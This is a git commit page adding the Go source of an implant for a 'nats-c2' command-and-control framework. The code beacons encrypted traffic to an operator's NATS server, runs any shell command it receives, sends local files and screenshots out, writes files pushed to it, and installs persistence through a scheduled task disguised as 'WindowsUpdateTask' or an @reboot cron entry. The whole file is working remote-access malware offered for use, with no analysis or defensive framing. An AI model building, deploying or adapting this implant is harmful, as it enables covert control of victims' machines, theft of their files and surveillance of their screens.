Upload files to "nats-c2"
This commit is contained in:
@@ -0,0 +1,246 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"crypto/aes"
|
||||
"crypto/cipher"
|
||||
"crypto/rand"
|
||||
"encoding/base64"
|
||||
"fmt"
|
||||
"io"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/nats-io/nats.go"
|
||||
"github.com/go-vgo/robotgo"
|
||||
)
|
||||
|
||||
// ------------------------- CONFIGURATION -------------------------
|
||||
var natsServers = []string{
|
||||
"nats://localhost:4222", // Change to your server IP
|
||||
}
|
||||
|
||||
// AES key from generate_key.go
|
||||
const b64Key = "rAEUBb5Id9HO3m3BZ+G5PSqBaceVJly4lbjbSSImz+c="
|
||||
|
||||
var aesKey []byte
|
||||
var agentID string
|
||||
const credsFile = "implant.creds"
|
||||
|
||||
// ------------------------- CRYPTO -------------------------
|
||||
func encrypt(plaintext []byte) ([]byte, error) {
|
||||
block, err := aes.NewCipher(aesKey)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
gcm, err := cipher.NewGCM(block)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
nonce := make([]byte, gcm.NonceSize())
|
||||
if _, err := io.ReadFull(rand.Reader, nonce); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
ciphertext := gcm.Seal(nonce, nonce, plaintext, nil)
|
||||
return ciphertext, nil
|
||||
}
|
||||
|
||||
func decrypt(ciphertext []byte) ([]byte, error) {
|
||||
block, err := aes.NewCipher(aesKey)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
gcm, err := cipher.NewGCM(block)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
nonceSize := gcm.NonceSize()
|
||||
if len(ciphertext) < nonceSize {
|
||||
return nil, fmt.Errorf("ciphertext too short")
|
||||
}
|
||||
nonce, ciphertext := ciphertext[:nonceSize], ciphertext[nonceSize:]
|
||||
return gcm.Open(nil, nonce, ciphertext, nil)
|
||||
}
|
||||
|
||||
// ------------------------- COMMAND EXECUTION -------------------------
|
||||
func runCommand(cmdStr string) string {
|
||||
var cmd *exec.Cmd
|
||||
if runtime.GOOS == "windows" {
|
||||
cmd = exec.Command("cmd", "/C", cmdStr)
|
||||
} else {
|
||||
cmd = exec.Command("/bin/sh", "-c", cmdStr)
|
||||
}
|
||||
out, err := cmd.CombinedOutput()
|
||||
if err != nil {
|
||||
return fmt.Sprintf("Error: %v\nOutput: %s", err, string(out))
|
||||
}
|
||||
return string(out)
|
||||
}
|
||||
|
||||
// ------------------------- FILE OPERATIONS -------------------------
|
||||
func uploadFile(nc *nats.Conn, agentID, localPath string) {
|
||||
data, err := os.ReadFile(localPath)
|
||||
if err != nil {
|
||||
publishResult(nc, agentID, fmt.Sprintf("Upload error: %v", err))
|
||||
return
|
||||
}
|
||||
encData, err := encrypt(data)
|
||||
if err != nil {
|
||||
publishResult(nc, agentID, fmt.Sprintf("Encryption error: %v", err))
|
||||
return
|
||||
}
|
||||
b64enc := base64.StdEncoding.EncodeToString(encData)
|
||||
nc.Publish("c2."+agentID+".file_upload", []byte(b64enc))
|
||||
publishResult(nc, agentID, fmt.Sprintf("Uploaded %s (%d bytes)", localPath, len(data)))
|
||||
}
|
||||
|
||||
func downloadFile(nc *nats.Conn, agentID, remotePath, b64Content string) {
|
||||
encData, err := base64.StdEncoding.DecodeString(b64Content)
|
||||
if err != nil {
|
||||
publishResult(nc, agentID, fmt.Sprintf("Base64 decode error: %v", err))
|
||||
return
|
||||
}
|
||||
data, err := decrypt(encData)
|
||||
if err != nil {
|
||||
publishResult(nc, agentID, fmt.Sprintf("Decryption error: %v", err))
|
||||
return
|
||||
}
|
||||
if err := os.WriteFile(remotePath, data, 0644); err != nil {
|
||||
publishResult(nc, agentID, fmt.Sprintf("Write error: %v", err))
|
||||
return
|
||||
}
|
||||
publishResult(nc, agentID, fmt.Sprintf("Downloaded to %s (%d bytes)", remotePath, len(data)))
|
||||
}
|
||||
|
||||
// ------------------------- SCREENSHOT -------------------------
|
||||
func takeScreenshot(nc *nats.Conn, agentID string) {
|
||||
bitmap := robotgo.CaptureScreen()
|
||||
defer bitmap.Free()
|
||||
img := robotgo.ToImage(bitmap)
|
||||
tmpFile := filepath.Join(os.TempDir(), "screenshot.png")
|
||||
robotgo.Save(img, tmpFile)
|
||||
uploadFile(nc, agentID, tmpFile)
|
||||
os.Remove(tmpFile)
|
||||
}
|
||||
|
||||
// ------------------------- PERSISTENCE -------------------------
|
||||
func installPersistence() {
|
||||
exePath, _ := os.Executable()
|
||||
if runtime.GOOS == "windows" {
|
||||
cmd := exec.Command("schtasks", "/create", "/tn", "WindowsUpdateTask", "/tr", exePath, "/sc", "onlogon", "/f")
|
||||
cmd.Run()
|
||||
} else {
|
||||
cmd := exec.Command("crontab", "-l")
|
||||
out, _ := cmd.Output()
|
||||
newCron := string(out) + "@reboot " + exePath + " >/dev/null 2>&1\n"
|
||||
cmd2 := exec.Command("crontab", "-")
|
||||
cmd2.Stdin = strings.NewReader(newCron)
|
||||
cmd2.Run()
|
||||
}
|
||||
}
|
||||
|
||||
// ------------------------- NATS COMMUNICATION -------------------------
|
||||
func publishResult(nc *nats.Conn, agentID, msg string) {
|
||||
encMsg, _ := encrypt([]byte(msg))
|
||||
nc.Publish("c2."+agentID+".results", encMsg)
|
||||
}
|
||||
|
||||
func heartbeat(nc *nats.Conn, agentID string) {
|
||||
encHeart, _ := encrypt([]byte("online"))
|
||||
nc.Publish("c2."+agentID+".heartbeat", encHeart)
|
||||
}
|
||||
|
||||
func connectWithRetries() *nats.Conn {
|
||||
for {
|
||||
for _, url := range natsServers {
|
||||
// Try JWT auth first if creds file exists
|
||||
var nc *nats.Conn
|
||||
var err error
|
||||
|
||||
if _, err := os.Stat(credsFile); err == nil {
|
||||
nc, err = nats.Connect(url, nats.UserCredentials(credsFile), nats.Timeout(5*time.Second))
|
||||
} else {
|
||||
// Fall back to no auth for testing
|
||||
nc, err = nats.Connect(url, nats.Timeout(5*time.Second))
|
||||
}
|
||||
|
||||
if err == nil {
|
||||
fmt.Println("Connected to", url)
|
||||
return nc
|
||||
}
|
||||
fmt.Printf("Failed %s: %v\n", url, err)
|
||||
}
|
||||
fmt.Println("All servers failed, retrying in 10s...")
|
||||
time.Sleep(10 * time.Second)
|
||||
}
|
||||
}
|
||||
|
||||
func main() {
|
||||
var err error
|
||||
aesKey, err = base64.StdEncoding.DecodeString(b64Key)
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
|
||||
hostname, _ := os.Hostname()
|
||||
agentID = fmt.Sprintf("%s-%d", hostname, os.Getpid())
|
||||
|
||||
fmt.Println("Agent starting with ID:", agentID)
|
||||
|
||||
nc := connectWithRetries()
|
||||
defer nc.Drain()
|
||||
|
||||
// Subscribe to commands
|
||||
subj := "c2." + agentID + ".tasks"
|
||||
nc.Subscribe(subj, func(msg *nats.Msg) {
|
||||
cmdBytes, err := decrypt(msg.Data)
|
||||
if err != nil {
|
||||
publishResult(nc, agentID, "Decryption failed")
|
||||
return
|
||||
}
|
||||
cmd := string(cmdBytes)
|
||||
parts := strings.SplitN(cmd, " ", 2)
|
||||
verb := parts[0]
|
||||
arg := ""
|
||||
if len(parts) > 1 {
|
||||
arg = parts[1]
|
||||
}
|
||||
|
||||
switch verb {
|
||||
case "exit":
|
||||
publishResult(nc, agentID, "Exiting")
|
||||
nc.Drain()
|
||||
os.Exit(0)
|
||||
case "shell":
|
||||
out := runCommand(arg)
|
||||
publishResult(nc, agentID, out)
|
||||
case "upload":
|
||||
uploadFile(nc, agentID, arg)
|
||||
case "download":
|
||||
subparts := strings.SplitN(arg, " ", 2)
|
||||
if len(subparts) == 2 {
|
||||
downloadFile(nc, agentID, subparts[0], subparts[1])
|
||||
} else {
|
||||
publishResult(nc, agentID, "Usage: download <path> <base64data>")
|
||||
}
|
||||
case "persist":
|
||||
installPersistence()
|
||||
publishResult(nc, agentID, "Persistence installed")
|
||||
case "screenshot":
|
||||
takeScreenshot(nc, agentID)
|
||||
default:
|
||||
publishResult(nc, agentID, "Unknown command: "+verb)
|
||||
}
|
||||
})
|
||||
|
||||
heartbeat(nc, agentID)
|
||||
fmt.Println("Agent ready, waiting for commands...")
|
||||
|
||||
for {
|
||||
time.Sleep(30 * time.Second)
|
||||
heartbeat(nc, agentID)
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user